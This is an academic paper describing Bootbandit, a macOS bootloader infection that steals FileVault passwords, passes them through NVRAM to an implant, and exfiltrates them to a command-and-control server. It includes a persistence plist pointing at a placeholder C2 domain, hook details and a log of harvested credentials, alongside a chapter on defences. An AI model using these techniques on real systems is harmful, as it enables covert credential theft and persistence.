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ABSTRACT
Bootbandit: A macOS Bootloader Attack
by Armen Boursalian
Full disk encryption (FDE) is used to protect a computer system against data
theft by physical access. If a laptop or hard disk drive protected with FDE is stolen
or lost, the data remains unreadable without the encryption key. To foil this defense,
an intruder can gain physical access to a computer system in a so-called “evil maid”
attack, install malware in the boot (pre-operating system) environment, and use the
malware to intercept the victim’s password. Such an attack relies on the fact that
the system is in a vulnerable state before booting into the operating system. In
this paper, we discuss an evil maid type of attack, in which the victim’s password
is stolen in the boot environment, passed to the macOS user environment, and then
exfiltrated from the system to the attacker’s remote command and control server. On
a macOS system, this attack has additional implications due to “password forwarding”
technology, in which users’ account passwords also serve as FDE passwords.
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CHAPTER 1
Introduction
The “evil maid” attack gets its name from a hypothetical situation in which a
high-ranking company official is out of his hotel room, and a maid is paid by an
adversary to go into the room and plant malware on the encrypted system. The next
time the computer is used, the malware is able to steal his encryption password or
worse.
Such an attack takes advantage of the vulnerable state of a computer system
before it boots into the operating system environment. In this pre-boot environment,
there is no antivirus scanning, no kernel-level process scheduling or management, and
no true virtual memory segmentation.
The typical evil maid attack requires physical access of the target system. That
is, the attacker must be able to acquire the physical system to install the malware
on it, requiring that the attacker not be caught in the act for a successful operation.
The goal of an evil maid attack is to obtain an FDE password to be able to decrypt
a hard disk drive. This generally assumes physical access will be used again once the
password is stolen to exfiltrate sensitive data, or that the disk drive was copied at the
same time the malware was planted on the system. In either case, the password for
FDE in most systems is limited to just that: disk encryption.
In this paper, we explore an attack that we call Bootbandit, which is a bootkit
credential harvester that attacks Apple-branded macOS systems. In macOS, the FDE
protection employs users’ login credentials for disk encryption. Because the same
password is used in two different places, theft of the FDE password in the vulnerable,
pre-operating system environment also means theft of the login credentials (which, on
a personal computer, is often also sufficient for gaining root/administrator-level access
on the system.) Bootbandit includes a bootloader infection for credential theft, an
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implant for macOS for exfiltration, and a command and control server for an attacker
to collect credentials from victims.
In Chapter 2, we introduce the concepts of disk encryption and the PC boot
process, how they apply to macOS, and work that has been done in the past involving
attacks against systems in the boot phase. Chapter 3 discusses the implementation
of the Bootbandit attack, in which our bootkit harvests user credentials which are
collected by the user mode implant and exfiltrated to the command and control
server. The results of the attack as it progressed through the development process
are discussed in Chapter 4, while potential defenses against such an attack are detailed
in Chapter 5. Finally, we will conclude with a description of projects that can build
upon Bootbandit in the future in Chapter 6.
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CHAPTER 2
Background
We begin with a discussion of the concepts of disk encryption and the function of
the Unified Extensible Firmware Interface (UEFI) in the pre-boot environment. We
also discuss some of the key components of the boot process for macOS that will be
a key focus of our attack
2.1 Full Disk Encryption
Full Disk Encryption (FDE) is used to maintain the privacy of data on a disk
drive. In general, the scope of FDE is physical access. If a thief were to steal a
computer system with an unencrypted disk drive, say a laptop or a mobile device,
then the data on the device would be easily readable by the thief. This can be done
by simply taking the disk drive and mounting it on another system. This is despite
any login credentials that may be present in the operating system installation; the
plaintext data can be viewed as long as the disk volume can be mounted. In order to
render stolen disk drives useless to thieves, FDE is employed.
A disk drive that is protected by FDE requires a password before the data can be
read. The disk content itself is protected by a master key, a key randomly generated
by the operating system used to encrypt the actual data. The password that the user
enters to access the data is used to encrypt this master key and is sometimes called
the key encryption key, or KEK. Using this scheme, a random key may be selected
once by the operating system to encrypt an entire disk. This operation may take a
significant amount of time, especially for large drives. If the user desires to change
the password, then it is only necessary to decrypt the master key and then re-encrypt
it with the new user password. The same master key is used to decrypt the data on
the disk, and there is no need to encrypt the entire drive again due to the change of
user password.
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2.1.1 macOS
Since Mac OS X 10.7.0 (before the operating system was rebranded as “macOS,”)
FileVault 2 has been the default technology for disk encryption. It is an improve-
ment over legacy FileVault in many ways, which only encrypted individual users’
account directories but not the entire disk. FileVault 2 is an actual full disk encryp-
tion technology, and in the default macOS implementation, users with an account
on the system are able to unlock the disk. Each user uses his or her own account
credentials for decryption. This has the added benefit of not requiring that all users
on a system share the same disk password. A 3-tier approach is used in FileVault 2 to
ultimately obtain the decryption key for the volume. This key management scheme
is illustrated in Figure 1 and described in further detail below.
At the volume level, AES-XTS-128 is used to encrypt data blocks on the disk [1].
Despite the name, this encryption scheme uses a 256-bit key: 128 bits for the ini-
tialization vector (IV) and 128 bits for the plaintext. It is designed specifically for
encrypting stored data as opposed to data in transit, e.g. over a network. Apple calls
this master key the Volume Encryption Key, or VEK.
To obtain the decrypted VEK, a KEK is used as discussed previously. In
addition, the KEK is encrypted using a Derived Encryption Key, or DEK. The
DEK is generated directly from a password or passphrase selected by the end user.
The Password-Based Key Derivation Function 2 algorithm, or PBKDF2, is per-
formed on the passphrase to obtain the DEK. This 3-key scheme allows the VEK
to be changed without requiring individual users to change their passphrases. Like-
wise, individual users may change their passphrases without affecting each others’ and
without requiring the entire volume to be reencrypted with a new key. Ultimately, it
is the passphrases belonging to the users that are the subject of our attack.
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Figure 1: FileVault 2 Key Management
2.2 Universal Extensible Firmware Interface (UEFI)
The Universal Extensible Firmware Interface (UEFI) is a standard for developing
platform firmware for computer systems. Before UEFI, there was the Extensible
Firmware Interface, or EFI. EFI was a specification developed by Intel and released
in 1999 for its Itanium processor architecture. The industry needed a successor for
legacy BIOS, and in 2005, the UEFI specification was published. UEFI is governed
by the Unified EFI Forum, an organization that consists of many companies that
have a vested interest in the industry collectively using a standardized interface for
platform firmware. The most readily apparent benefit of UEFI over legacy BIOS, to
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the end user, is the ability to run in a graphical environment. Other benefits include
the lack of need for a master boot record (MBR), plug-and-play capabilities for boot
volumes, and a network stack. Applications for utility or general purposes may be
developed for a UEFI environment. The most commonly used type of program is the
bootloader.
2.2.1 UEFI Features
UEFI provides many facilities for operating systems to interface with the un-
derlying firmware. These features are provided in “services” which are split between
Boot Services and Runtime Services [2]. Boot services provide UEFI applications
(including bootloaders) with interfaces for accessing timers, memory allocation and
management, and executing other UEFI applications. Boot services are available
only up until the bootloader loads the operating system. Runtime services, on the
other hand, are available from boot until the system is powered down. Examples
of runtime services include system reboot and shutdown, firmware updates (e.g. to
install them from the operating system environment), and key/value data storage in
firmware RAM.
The latter is the focus of this project. Key/value data can be stored in the
firmware RAM [3], both for use in the boot phase and by the operating system. In
macOS, for example, the audio volume level is stored in NVRAM, or non-volatile
RAM, a section in the firmware RAM that can survive a reboot. This acts as a
sort of communication channel between the operating system and the firmware. The
operating system sets the volume level in an NVRAM variable, and when the system
reboots, the value is used by the firmware to determine how loud to play the famous
Macintosh chime sound effect on power-on. Conversely, the operating system can
read variable data set by UEFI applications, such as the bootloader. This resource
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will be used in order to communicate credential data from the boot environment to
an implant in the operating system environment after the victim logs in.
2.2.2 Bootloaders
A bootloader is a program which runs in a pre-operating system environment
and is responsible for locating the OS kernel, loading it into memory, and passing ex-
ecution control to it. In a UEFI environment, this program is run from a file that con-
forms to the Microsoft Portable Executable and Common Object File Format
(PE/COFF) specification. This is the file format used for executables in Microsoft
Windows operating systems. This is merely a requirement of the UEFI specification
and has no relationship with whichever target operating system is to be loaded.
Like all other UEFI applications, the entry point for execution is the function
UefiMain, whose signature is shown in Listing 2.1. This is analogous to the main
function for C programs that run on most operating systems.
EFI_STATUS UefiMain(
EFI_HANDLE ImageHandle ,
EFI_SYSTEM_TABLE *SystemTable);
Listing 2.1: UEFI Application Entrypoint
The handle to the process itself and a pointer to the SystemTable are passed
to this entrypoint function. The SystemTable contains configuration information,
handles for standard input, output, and error, and most importantly, pointers to
Boot Services and Runtime Services as discussed in Section 2.2.1. Therefore, this
parameter will play a key role in the Bootbandit attack in order to store the user’s
credentials in a place where the bootloader can write and the operating system can
read.
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2.3 Bootloader Attacks and Prior Work
The bootloader is a valuable target for attacks because it is run before any op-
erating system protections have any chance of loading. Any attack mitigations must
be in place in the firmware, which then passes execution to the bootloader. And
because the bootloader is responsible for loading the operating system, the implica-
tions of bootloader attacks can range from password theft of FDE devices to virtually
undetectable backdoors once in user mode.
Much of the prior work in the bootloader attack space goes all the way back to
the 1980’s. At that time, there was no UEFI, and booting was done with whatever
code was in the hard disk drive’s Master Boot Record, or MBR. It was easy to infect
the code in the MBR whose purpose is to read the filesystem on a disk and boot the
operating system. The Brain virus was released into the wild in 1986 and was the
first computer virus for MS-DOS systems [4] and worked by infecting the MBRs of
boot disks.
Past attacks similar to Bootbandit targeting other FDE technologies have suc-
ceeded, as well. In 2009, renowned security researcher Joanna Rutkowska published
a proof-of-concept on an “evil maid” attack targeting the TrueCrypt FDE system [5].
The attack chain required physical access and, like Bootbandit, stole users’ disk en-
cryption passwords. The FDE passwords were not expected to be the same as the
user’s account password, as is the case on macOS systems, limiting the scope of the
attack to physical access and decrypting the hard disk drive. This also reduced the
need to be able to send the password over a network, since physical access would
be required again to decrypt the disk, unless it were copied during installation of
the malware. Therefore, the attack did not include network capabilities. Bootbandit
builds on a traditional “Evil Maid” attack in these two areas.
More recently in 2015, security researcher Pedro Vilaca spoke [6] at the
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Code Blue conference, detailing the potential UEFI attacks made possible by
firmware vulnerabilities he had discovered. The vulnerabilities were serious enough
to allow the installation of custom and potentially malicious UEFI firmware drivers
that run underneath the operating system, leaving behind no file on the hard disk
for an antivirus application to scan. Although no proofs-of-concept were written for
this talk, tools targeting UEFI written by the Italian company Hacking Team were
mentioned, along with ideas such as nearly invisible malware and disk encryption
theft. This served as the inspiration for Bootbandit.
2.4 macOS Boot Architecture
In macOS, the bootloader is located at /System/Library/CoreServices/boot.efi.
This is the “blessed” bootloader application. That is, the operating system designates
to the platform firmware in non-volatile RAM (NVRAM) that the machine is to
boot an operating system using this particular file. Naturally, this directory is
unencrypted because it must be accessed in order to decrypt data on the disk. The
bootloader is responsible for loading the graphical interface in which the user enters
his or her password, loading the kernel into memory, and “forwarding” the user’s
password to the operating system to automatically log the user into the desktop
environment [1]. On older Apple computers, the kernel is located at root of the
system volume at /mach_kernel. As of Mac OS X 10.9 Mavericks, the kernel is
located at /System/Library/Kernels/kernel. The bootloader is the subject of
our attack, and this “password forwarding” technology makes it possible because it
allows the user’s password to both unlock the disk and log into the account.
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CHAPTER 3
Implementation
Our attack aims to steal a user’s passphrase at the time of boot on a macOS
system. The credentials are gathered in the boot environment and then forwarded to
the operating system environment. In addition to being able to decrypt a disk after
a subsequent physical theft, stealing a user’s passphrase on such a system has the
added benefits (to the attacker) of revealing a user’s login credentials. In effect, this
increases the attack surface and allows more damage to be done, such as logging into
the system over a network via SSH and maintaining persistence.
This attack consists of 3 main components:
1. Modified Bootloader (Bootbandit)
2. User Mode Implant (Banditbot)
3. Exfiltration Server (Banditserver)
The architecture for the attack is illustrated in Figure 2. It describes the path
that the user’s password takes, starting from the keyboard, moving into firmware
memory, and ending up at the attacker’s Banditserver command and control system.
3.1 Modified Bootloader
The modified bootloader is the component which is responsible for stealing a
user’s login credentials. It is made such that the user experience during login is
unaffected, and the theft occurs transparently in the background. The modification
is an infection in the official bootloader in which the credential-stealing code has been
placed in a “code cave,” a space in the .text executable section that is unused and
present only for alignment purposes.
The available space for placing new code in the bootloader without modifying
existing code is limited to roughly 100 bytes. This includes any data that may be
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Figure 2: Bootbandit Architecture
necessary to carry out the attack, such as text strings. For this reason, code and data
that already exists within the bootloader is reused wherever possible. With such
limited resources, it is impractical to implement a transport mechanism to exfiltrate
the credentials within the bootloader itself. Therefore, we communicate the data
from the boot environment to the operating system environment so that an implant
carries out the exfiltration after the user login is complete. We created a channel
of communication through variable services provided through the UEFI platform
firmware. The malicious code in the bootloader takes the user’s credentials and writes
them to a volatile variable so that they can be collected by the implant after login.
Because a volatile variable is used, the bootloader can be restored after exfiltration,
and no trace of the attack will be present after the next reboot.
3.1.1 Reverse Engineering
A large portion of the work required to modify the bootloader involves reverse
engineering it. The operation of the bootloader must be understood so that one can
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know how to write the malicious code and where to place it. The commercial disas-
sembly tool IDA Pro was used for the reverse engineering work. Reverse engineering
the bootloader involved mainly static analysis techniques. Dynamic analysis through
debugging is not an option because there is no operating system running, and the
bootloader was not compiled to support a UEFI debugger by Apple. The most helpful
form of dynamic analysis was to modify the code to revert back to console mode from
graphical mode and take advantage of the built in logger functions as print state-
ments. Although this provided useful information, such as the addresses of tables
and other data, it was very clumsy and always led to a crash.
Initial impressions of the bootloader upon text string inspection are that little
thought to anti-reverse engineering was given. All strings appear to be in plaintext
and provide a wealth of information, particularly error strings which provide details
for many functions that would otherwise require significant effort to understand. Of
particular interest are the strings in Listing 3.1 pertaining to password validation and
verification.
"_LW_LoginPane_ValidatePassword"
"VerifyCallback␣is␣NULL"
"loginUI ->loginUICallbacks.VerifyPassphraseFunction␣is
␣NULL"
"lw ->verifyPasswordFunction␣is␣NULL"
Listing 3.1: Plaintext Strings Referring to Password Functionality
These strings are meant for the developers of the bootloader to be able
to debug the program. However, they also provide us, as the attackers,
with important context as to how we can insert malicious code. The string
"_LW_LoginPane_ValidatePassword" is passed as a function name to an error mes-
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sage logger, telling us precisely that this function is used for validating passwords from
the login window. The error message "lw->verifyPasswordFunction is NULL" is
given, which is meant to provide debug information in case the password verification
function was not set, and the bootloader would have otherwise run into a segmen-
tation fault. This tells an attacker exactly at which offset the password verification
function is located, and the object can be traced back through cross-references to find
which function is responsible for verifying the user’s password input.
We begin with the function named UnlockCoreStorageVolumeKey, as identified
by the debugging string in the main function. Everything prior to this function call
is merely for system health and status verification. UnlockCoreStorageVolumeKey is
where the graphical interface is initialized and an event loop is run to accept and verify
user input. This input includes user selection and shutdown or restart functionality
via the mouse, as well as password entries via the keyboard. In general, user interfaces
depend on callback functions to set actions to be performed when a certain event
occurs. Therefore, we focus on callback functions, that is, functions that are passed
as parameters which are called when an event is signaled.
Within the UnlockCoreStorageVolumeKey function, there is a function identi-
fied as LoginWindowInitialize which is responsible for initializing the user inter-
face components, including the callbacks. The function takes 8 parameters, the last
of which is a pointer to a function referencing “PassphraseWrappedKekStruct” in a
dictionary lookup. We know from 2.1.1 that the user’s password is used to derive the
key (DEK) used to decrypt the KEK, so this is of interest to us. It is entered into
a data structure at an offset of 0x2C0. To find instances where an offset of 0x2C0 is
used within the bootloader, a text search is performed in IDA Pro on the disassembly.
It turns out that the only other place that this offset is used is in a function called
ValidatePassword, as evidenced by its error logging strings. It also happens that
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this function is another callback set within LoginWindowInitialize. We now have
a clear picture of the callback setup, that is, the functions that are set to run in
response to the user entering a password. This can be visualized in Figure 3.
Figure 3: Password Verifier Callback Setup
The ValidatePassword callback is invoked after the user inputs a password
and presses the Enter key in the login window. ValidatePassword dereferences
the VerifyCallback from offset 0x2C0 from its data structure and calls it. The
VerifyCallback takes the user’s password as a parameter, finds its length, and uses
it to calculate the DEK. Now knowing the precise location where the user’s password
will be passed, we can infect the bootloader to steal it.
3.1.2 Code Modifications: Bootloader Infection
The modification made to the existing code is a hook in the VerifyCallback
function. When the user enters a password into the password box and presses En-
ter, a VerifyCallback is executed to verify it. The user’s text entry is passed to the
AsciiStrLen function to obtain the length of the string which is used in the PBKDF2
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algorithm to obtain the derived encryption key, or DEK. It is the AsciiStrLen func-
tion that we hook; instead of executing it upon password verification, our code is
executed. However, the rest of the bootloader still depends on the result of original,
hooked function which was replaced, otherwise login cannot proceed, and the user
will be rendered with a non-booting system. This would defeat the attack and possi-
bly alert the victim. Therefore, our code still calls the AsciiStrLen function, stores
its result, steals the user’s credentials, and then returns the password length to the
original caller as if nothing had changed.
The credentials are stored in a volatile firmware variable named BootNext, a
variable name reused from within the bootloader. We elected to use a variable name
that is already in the bootloader’s data section due to the restricted space in which
we could place our modified code. Therefore, our code only needs to store the pointer
to this variable name. For the associated “Vendor GUID” (a sort of namespacing
for firmware variables,) we use CSR_GUID, which also already exists within the
bootloader’s data. This particular GUID must be used because the nvram tool will
read variables from this GUID once the user boots into macOS. Using this variable
name and GUID, the credential data is stored in a volatile firmware variable where it
can be retrieved by the macOS implant. Our hook function then restores the registers
to contain the pointer to the user’s password and returns its length to the caller. The
credentials are stolen, and the user experience remains unchanged.
Listing 3.2 is the function call, translated to C, that is made to store the user’s
credentials in firmware memory. The pointer to the SetVariable function is ob-
tained through the RuntimeServices table, as described in Section 2.2. However, in
our implementation, calling this function from the RuntimeServices table resulted
in a crash each time due to the table’s pointer being zeroed out. This causes the
processor to execute invalid instructions at offset 0 because virtual memory addresses
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are mapped directly to physical memory addresses in UEFI mode. The cause for
this clearing of the RuntimeServices table is not known, as there only appears to be
three places in the code where writing to the table pointer is possible:
1. Initialization of global variables from the SystemTable
2. Booting from regular hibernation
3. Booting from hibernation with an encrypted disk
The first is expected and fills the RuntimeServices table with a valid pointer.
The latter two zero out the table, rendering it useless, but if they occur, it is only after
passing the disk unlock portion of the code where the user’s password is collected.
Nonetheless, we were still able to obtain a pointer to RuntimeServices through the
global SystemTable. Recall that the SystemTable contains pointers to both the
BootServices and RuntimeServices tables [3]. Ultimately, the pointer indirection
shown in Figure 4 was used to store the user’s credentials in the firmware memory.
SetVariable(L"BootNext",
CSR_GUID ,
EFI_VARIABLE_RUNTIME_ACCESS |
EFI_VARIABLE_BOOTSERVICE_ACCESS ,
password_length ,
password);
Listing 3.2: Writing Credentials to Firmware Memory
The full disassembly of the infection code can be seen in Appendix A in List-
ing A.1
3.2 User Mode Implant
The user mode implant is an application that runs in the macOS operating
system. It is installed in the user’s home directory at the time of infection. A plist
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Figure 4: Obtaining Runtime Services to Call SetVariable()
file is installed in the user’s ~/Library/LaunchAgents directory to enable persistence
so that the implant is executed when the user logs in.
The purpose of the implant is to send the data found in the volatile firmware vari-
able to the exfiltration server so that the attacker may make use of it. This firmware
variable is used as a communication channel between the modified bootloader in
the pre-operating system environment and the backdoor in the desktop environment,
where network access is easy. This takes advantage of the fact that although writing
firmware variables requires special privileges in macOS, reading them does not.
The implant itself is written in C. It uses the mbed TLS library to encrypt com-
munications with the server. The implant first executes the native macOS tool nvram
which allows reading and writing of firmware variables, both volatile and non-volitile,
despite its name. Variables readable and writable by this tool are restricted to those
belonging to the vendor GUID defined by Apple as CSR_GUID, which encompases
system firmware settings such as the path to the boot device, the system volume,
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and more. As discussed previously, the credential data was stored under the variable
name BootNext. The variable is searched under these system firmware settings, and
if found, the implant proceeds to take the credentials and attempt to connect to the
command and control server for exfiltration.
Upon connecting to the server, the implant expects to receive a public RSA
key in PEM format. A random 256-bit key is generated and used to encrypt the
credentials. The AES key is then encrypted by the server’s private key, and then it
and the encrypted credentials are sent to the server. This scheme, although more
complicated than simple bit-shifting and XOR-style encoding schemes, is not difficult
to implement with existing libraries and ensures cryptograhpically secure network
communication. At this point, exfiltration is complete.
3.3 Exfiltration Server
The Bootbandit exfiltration server is written in Go for rapid development and
portability. It runs in a Google Compute Engine virtual machine on the Google Cloud
Platform and is accessible worldwide, serving as a proof-of-concept where infected
systems would send exfiltrated information back to the attacker. The Bootbandit
network protocol is described in Figure 5.
The server generates a new private/public RSA key pair upon each connection
request from the implant. It sends the public key to the implant which uses it to
encrypt the symmetric key for decrypting the user’s credentials. For each transaction
between the server and the client, the data size is prepended as an unsigned, 4-byte,
little-endian integer. The credential data is stored in a log file which the attacker can
use to collect IP addresses, user names, and passwords of victims.
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Figure 5: Bootbandit Command and Control Protocol
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CHAPTER 4
Results
Here, we discuss the functionality and evolution of the components of Bootban-
dit. The bootloader infection is discussed in detail, and then we discuss the setup
and finally see all of the components working together to successfully harvest user
credentials.
4.1 Bootbandit Bootloader Infection
The bootloader infection is the smallest component of Bootbandit in terms of
byte count, yet it required the most effort. This is because of the nature of the EFI
environment: typical debugging tools are not an option, and the space for writing
code is confined to roughly 100 bytes. Here, we discuss the bootloader infection at
various stages in its development.
4.1.1 Table Addressing, Part 1
The bootloader infection was written using the open source disassembly analyzer
Radare2, which includes a hex editor and assembler. In our first attempt, the pointers
to RuntimeServices and AsciiStrLen were referenced using the addresses observed
in the disassembly seen in IDA Pro. IDA Pro, however, does not have an official
loader to read EFI file types, despite simply being Microsoft PE/COFF-formatted
files. Therefore, all disassembly is shown with physical addressing. Copying over calls
to these physical addresses caused the bootloader to crash when the infection code
was executed because the physical addresses in the executable file did not correspond
to the addresses in memory when the pointers to the data structures we wanted were
referenced.
4.1.2 Table Addressing, Part 2
After discovering that IDA Pro failed to load the disassembly at the virtual
addresses declared in the PE header, as described in 4.1.1, the appropriate corrections
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were made to the bootloader infection code using Radare2. However, the issue seemed
to remain unresolved. This was due to the issue discussed in 3.1.2. Although execution
was being passed to our malicious code, and the AsciiStrLen function was being
successfully called, the SetVariable function was not being called to write the user’s
credentials to the firmware memory.
To identify the issue, a modification to the bootloader was made such that the
memory address of the data structure we were looking for, RuntimeServices, would
be printed out to the screen. This was chosen as the method for debugging be-
cause standard debuggers are meant for operating system environments and cannot
be used in EFI. Also, the bootloader itself was not compiled with support for EFI
debuggers that may have otherwise been appropriate. Therefore, we resorted to print-
ing out information to the console in order to gain a better understanding of why the
SetVariable function could not be called.
Printing text is not trivial when working with the bootloader. The graphical
interface is loaded through a call to a function we identified as ConsoleSetMode so
that the user may select his or her account and enter the disk encryption password.
There is no standard console to print text after entering the password. In order to
revert back to console mode, the function ConsoleSetMode function is called with a
parameter of 2 instead of 1, and the PrintWarningMessage function is passed the
format string "%p" and the pointer to RuntimeServices to show us the address of
that data structure. Because there is not enough space in the code cave to write the
code to switch to console mode, print out the address, pause, then revert to graphical
mode, we write this code with the understanding that we will get the information we
need, but the system will crash. After booting and entering the password to reveal
the address of RuntimeServices, we saw that its address was the NULL pointer. This
brought us to our next attempt in which we remedied the issue as described in 3.1.2.
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4.1.3 Successful Bootloader Infection
Once we realized that the RuntimeServices table was being nullified and causing
the incorrect address to be dereferenced, we used the SystemTable to indirectly obtain
it so that we could access the SetVariable function. This was depicted in Figure 4.
After using the RuntimeServices structure indirectly, we were able to successfully
steal the user’s password and place it in the BootNext variable in the firmware. This
is shown in Figure 6.
Figure 6: User’s Password in Firmware Memory Shown Using nvram in macOS
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4.2 Bootbandit Implant
The Bootbandit implant consists of two components. The first is the implant
executable itself, which is placed at the path ~/.mal for the infected user. Any path
may be used, but this path is readily accessible and hidden to the user. The implant is
set to run on system start to send the credentials to the command and control server
by creating the file ~/Library/LaunchAgent/com.user.persist.plist. This file
has contents as shown in Listing 4.1.
<?xml version="1.0" encoding="UTF -8"?>
<!DOCTYPE plist PUBLIC " -//Apple␣Computer //DTD␣PLIST␣1.0//
EN" "http://www.apple.com/DTDs/PropertyList -1.0. dtd">
<plist version="1.0">
<dict>
<key>Label </key>
<string >com.user.persist </string >
<key>ProgramArguments </key>
<array>
<string >/Users/user/.mal</string >
<string >bootbandit.<example >.com</string >
<string >5999</string >
</array>
<key>RunAtLoad </key>
<true/>
</dict>
</plist>
Listing 4.1: .plist File for Implant Persistence
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The file is installed so that the implant is run with the command line
/Users/user/.mal bootbandit.<example>.com 5999 when the user logs in. That
is, the malware will communicate with the command and control server designated
at the given domain on the given port. The advantage of putting these configuration
items on the command line is that the implant itself does not have to be updated if the
server changes the IP address or port; only a simple modification in the configuration
is required. Also, if the implant itself were to be found and analyzed, the location of
the server would not be found unless the configuration file were also discovered. The
command and control server is set up at the designated domain and port, and the
infection mechanism is ready to steal and exfiltrate the user’s credentials.
4.3 End Results
After placing all components of the Bootbandit attack in production, including
the bootloader infection, the user-mode implant, and the command and control server,
the Bootbandit attack was ready to be tested. The command and control server was
setup to listen for incoming credentials, and the infected system was rebooted after
the implant was installed and the bootloader infected. When the infected system
boots, the user is shown the login window, as usual. Upon entering credentials and
logging into the system, we see in Listing 4.2 that the user’s password has been stolen,
all without any change in the user experience.
user@efi: ~/c2$ ./ banditserver 5999
2017/10/29 22 :25:38 Listening on port 5999
2017/10/29 22 :27:08 New connection from [REDACTED]:49198
2017/10/29 22 :27:08 [REDACTED]:49198 "user:␣malware"
2017/11/26 23 :28:17 New connection from [REDACTED]:49155
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2017/11/26 23 :28:17 [REDACTED]:49155 "user:␣malware"
2017/11/26 23 :52:13 New connection from [REDACTED]:49164
2017/11/26 23 :52:15 [REDACTED]:49164 "kidsaccount:␣
password1234"
2017/11/27 00 :20:14 New connection from [REDACTED]:49155
2017/11/27 00 :20:14 [REDACTED]:49155 "newstandarduser:␣
QqD2y921LF"
2017/11/27 00 :30:37 New connection from [REDACTED]:49159
2017/11/27 00 :30:39 [REDACTED]:49159 "shareduser:␣
ANnj33EXRm"
Listing 4.2: User Credential Log
The entire attack chain worked for all users on the system, with one caveat. The
account kidsaccount, as seen in Listing 4.2, is an account with parental controls
set. The account was created, the implant installed and set to run at login, and
then the system was rebooted and logged into with the new account. Interestingly,
the credentials were sent the first time during account setup. However, the implant
would no longer run on this account due to the parental control restrictions, as seen
in Figure 7.
We attempted to remedy this by placing the implant executable
at /Applications/.mal and placing the persistence mechanism at
/Library/LaunchAgents so that it is shared among all users. The result was
the same: accounts with parental controls remained unable to run the implant. Once
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Figure 7: Implant Blocked by Parental Controls
a system is infected with Bootbandit, the parental controls appear to be the only
inherent defense that macOS has against it.
Another small issue that was observed was in some certain network setups,
namely wireless networks using 802.1X. Wired network connections and wireless con-
nections with standard WPA and WPA2 security operate quickly to authenticate and
bring up a network link. However, wireless networks using 802.1X authentication ap-
pear to take additional time to establish a connection at the link layer. Therefore,
a delay with 3 retries was added in the Bootbandit implant to ensure that the net-
work connection is up and that the Bootbandit server could be reached. With this
addition, the entire chain from infection to data exfiltration worked seamlessly.
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CHAPTER 5
Mitigations and Defenses
In macOS systems, System Integrity Protection is already in place and makes
attacks like Bootbandit non-trivial. Such protections prevent even the root user
from making radical changes that would impact the integrity of the operating system
itself, effectively nullifying the majority of rootkits. However, even these sorts of
defenses are not infallible and are subject to exploitation. As a result, integrity of
data crucial to the operation of the system should be verified. In particular, code
signature verification on the bootloader by the firmware would make Bootbandit
substantially more difficult to implement. In its current form, Bootbandit would not
be able to pass an integrity check if the original bootloader were to be signed by the
manufacturer, in this case Apple.
A proper code signature scheme would notify the user of the possible dangers of
continuing to use modified software in the event that integrity could not be verified.
Modern Android devices typically implement such a scheme [7] in which the boot
and system partitions are verified for integrity using code-signing methods. Apple
iPhones running iOS [8] and some systems running Windows 8.1 [4, 9] and above
implement similar countermeasures against bootkits. The disadvantages of this sort
of defense involve making it more difficult to use custom software, for example to use
a different operating system than the one that shipped with the system.
Additionally, Apple could help by making the bootloader more difficult to re-
verse engineer. Currently, the bootloader contains a significant number of debugging
strings throughout the file. For example, there are functions which print out errors
on the screen if the system boot arguments are set to verbose mode. These functions
take arguments that include the function name and the error or warning message.
Because the function name is given, this greatly assists in reverse engineering the ex-
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ecutible file by giving the analyst valuable context that is otherwise difficult to gain
without dynamic analysis. The function name _lw_ValidatePassword, for example,
makes it obvious that this function belongs to the LoginWindow and is responsible
for validating a password entered by the user. By removing these, the time-to-value
for developing an infection would increase, making an attack against the bootloader
more difficult.
A last line of defense for attacks like Bootbandit would be to separate the FDE
password from the user’s credentials. A user’s credentials doubling as an FDE pass-
word is akin to password reuse for multiple accounts, which is a poor security practice
that is always discouraged. This is because a password stolen for one account sud-
denly gains an attacker access to all accounts which use this same password. The
situation is similar for FDE and user accounts: if an attacker steals credentials for
FDE, then suddenly the user’s system account is compromised. It is possible to sep-
arate the FDE password from a user’s credentials. For a more secure system, this is
advised. However, the disadvantages of separating these passwords are the fact that
users must now remember two passwords, and multiple users on a shared computer
system cannot unlock the disk with their own password; the password must be shared
among each of the users.
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CHAPTER 6
Conclusion and Future Work
Bootbandit demonstrates the possibilities for tampering with a system during
the boot phase. We implemented a full chain of compromise in which a victim’s
machine’s bootloader is infected, credentials are stolen in the boot environment, and
the data is relayed to a command and control server using secure communication.
This project paves the way for at least two possible lines of future work. Devel-
oping a defensive mechanism such as the verified boot framework that was described
in the Mitigations and Defenses section in Chapter 5 would obviously be useful.
For this to work, one would develop a UEFI driver using the Secure Boot and Driver
Signing features as described in the UEFI specification [2]. This driver would be re-
sponsible for verifying the bootloader against its code signature. The developer would
generate a key pair for signing, sign the bootloader, and the framework would ensure
that only a bootloader that is signed with the private key shall be executed. This
would also have the negative side effect of forbidding third party UEFI applications
from executing on the system but would serve as a proof-of-concept for a system that
verifies the bootloader. A productized version of this project would require first party
support from Apple.
A second possible extension of Bootbandit is the development of a credential
harvester in the form of a driver, as opposed to the current bootloader infection. In
its current form, the bootloader infection is detectible as a file that is changed on
the hard disk drive of the infected system. Creating a malicious UEFI driver and
loading it into the firmware itself would allow the malware to hide from detection
systems that run in the operating system, including antivirus operating in the kernel.
One would likely need to make use of the existing USB driver that is loaded upon
system boot. As the user enters keys on the keyboard, the driver should collect and
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store them. As an independent module, the driver can also communicate with the
command and control server using the TCP/IP stack from the pre-OS environment.
This would most likely require association with a Wi-Fi network, which should be
possible since Wi-Fi network credentials are stored in the firmware memory—this is
apparent when booting into macOS Recovery Mode, where the minimalist recovery
operating system is still able to associate with Wi-Fi networks that the user has
associated with in the normal macOS environment. With all of the malicious logic of
Bootbandit implemented in a UEFI driver hidden from disk, one would have created
an extremely difficult piece of malware to detect.
Both of these examples of future work involve the development of a firmware
driver, that is, code that controls the underlying hardware. The consequences of a
bug making its way into a UEFI driver, therefore, can cause damage from which
recovery is extremely difficult. Before beginning work on such a project, one should
be intimately familiar with re-flashing and, if necessary, replacing hardware memory
devices used for firmware storage.
30
LIST OF REFERENCES
[1] I. Apple, “Best practices for deploying filevault 2,” Aug 2012. [Online]. Available:
http://training.apple.com/pdf/WP_FileVault2.pdf
[2] U. E. Forum, “Unified extensible firmware interface specification,” May 2017.
[Online]. Available: http://www.uefi.org/sites/default/files/resources/UEFI_
Spec_2_7.pdf
[3] V. Zimmer, M. Rothman, and S. Marisetty, Beyond BIOS: Developing with the
Unified Extensible Firmware Interface. Intel Corporation, Nov 2010.
[4] A. Matrosov, E. Rodionov, and S. Bratus, Rootkits and Bootkits. 245 8th
St. San Francisco, CA 94103 USA: No Starch Press, Inc., Jun 2018, early
access sample chapter, accessed April 28, 2017. [Online]. Available: https:
